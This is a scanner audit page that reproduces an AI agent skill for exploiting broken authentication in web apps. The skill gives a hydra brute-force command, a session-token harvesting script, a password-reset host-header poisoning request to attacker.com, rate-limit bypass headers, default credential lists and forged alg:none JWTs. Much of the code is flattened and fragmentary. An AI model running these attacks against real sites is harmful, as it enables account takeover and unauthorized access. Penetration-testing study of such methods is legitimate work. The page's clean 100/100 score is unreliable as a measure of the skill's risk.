broken-authentication — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited broken-authentication (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
Understand the application's authentication architecture:
# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)
# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*Capture and analyze authentication requests:
POST /login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=test&password=test123Evaluate password requirements and enforcement:
# Test minimum length (a, ab, abcdefgh)
# Test complexity (password, password1, Password1!)
# Test common weak passwords (123456, password, qwerty, admin)
# Test username as password (admin/admin, test/test)Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
Test for username enumeration vulnerabilities:
# Compare responses for valid vs invalid usernames
# Invalid: "Invalid username" vs Valid: "Invalid password"
# Check timing differences, response codes, registration messages"Email sent if account exists" (secure) "No account with that email" (leaks info)
{"error": "user_not_found"} {"error": "invalid_password"}
### Phase 4: Brute Force Testing
Test account lockout and rate limiting:
hydra -l admin -P /usr/share/wordlists/rockyou.txt \ target.com http-post-form \ "/login:username=^USER^&password=^PASS^:Invalid credentials"
Check for protections:
### Phase 5: Credential Stuffing
Test with known breached credentials:
### Phase 6: Session Management Testing
Analyze session token security:
Cookie: SESSIONID=abc123def456
Session token analysis:
#!/usr/bin/env python3 import requests import hashlib
tokens = [] for i in range(100): response = requests.get("https://target.com/login") token = response.cookies.get("SESSIONID") tokens.append(token)
### Phase 7: Session Fixation Testing
Test if session is regenerated after authentication:
GET /login HTTP/1.1 Response: Set-Cookie: SESSIONID=abc123
POST /login HTTP/1.1 Cookie: SESSIONID=abc123 username=valid&password=valid
Attack scenario:
https://target.com/login?SESSIONID=attacker_session
### Phase 8: Session Timeout Testing
Verify session expiration policies:
### Phase 9: Multi-Factor Authentication Testing
Assess MFA implementation security:
POST /api/v2/check-otp {"otp": "1234"}
Test MFA enrollment:
### Phase 10: Password Reset Testing
Analyze password reset security:
https://target.com/reset?token=abc123&user=victim
POST /forgot-password HTTP/1.1 Host: attacker.com [email protected]
## Quick Reference
### Common Vulnerability Types
| Vulnerability | Risk | Test Method |
|--------------|------|-------------|
| Weak passwords | High | Policy testing, dictionary attack |
| No lockout | High | Brute force testing |
| Username enumeration | Medium | Differential response analysis |
| Session fixation | High | Pre/post-login session comparison |
| Weak session tokens | High | Entropy analysis |
| No session timeout | Medium | Long-duration session testing |
| Insecure password reset | High | Token analysis, workflow bypass |
| MFA bypass | Critical | Direct access, response manipulation |
### Credential Testing Payloads
admin:admin admin:password admin:123456 root:root test:test user:user
123456 password 12345678 qwerty abc123 password1 admin123
### Session Cookie Flags
| Flag | Purpose | Vulnerability if Missing |
|------|---------|------------------------|
| HttpOnly | Prevent JS access | XSS can steal session |
| Secure | HTTPS only | Sent over HTTP |
| SameSite | CSRF protection | Cross-site requests allowed |
| Path | URL scope | Broader exposure |
| Domain | Domain scope | Subdomain access |
| Expires | Lifetime | Persistent sessions |
### Rate Limiting Bypass Headers
X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 True-Client-IP: 127.0.0.1
## Constraints and Limitations
### Legal Requirements
- Only test with explicit written authorization
- Avoid testing with real breached credentials
- Do not access actual user accounts
- Document all testing activities
### Technical Limitations
- CAPTCHA may prevent automated testing
- Rate limiting affects brute force timing
- MFA significantly increases attack difficulty
- Some vulnerabilities require victim interaction
### Scope Considerations
- Test accounts may behave differently than production
- Some features may be disabled in test environments
- Third-party authentication may be out of scope
- Production testing requires extra caution
## Examples
### Example 1: Account Lockout Bypass
**Scenario:** Test if account lockout can be bypassed
POST /login HTTP/1.1 X-Forwarded-For: 192.168.1.1 username=admin&password=attempt1
X-Forwarded-For: 192.168.1.2
username=Admin (vs admin) username=ADMIN
### Example 2: JWT Token Attack
**Scenario:** Exploit weak JWT implementation
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
### Example 3: Password Reset Token Exploitation
**Scenario:** Test password reset functionality
POST /forgot-password [email protected]
https://target.com/reset?token=a1b2c3d4e5f6
https://target.com/reset?token=a1b2c3d4e5f6&[email protected]
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.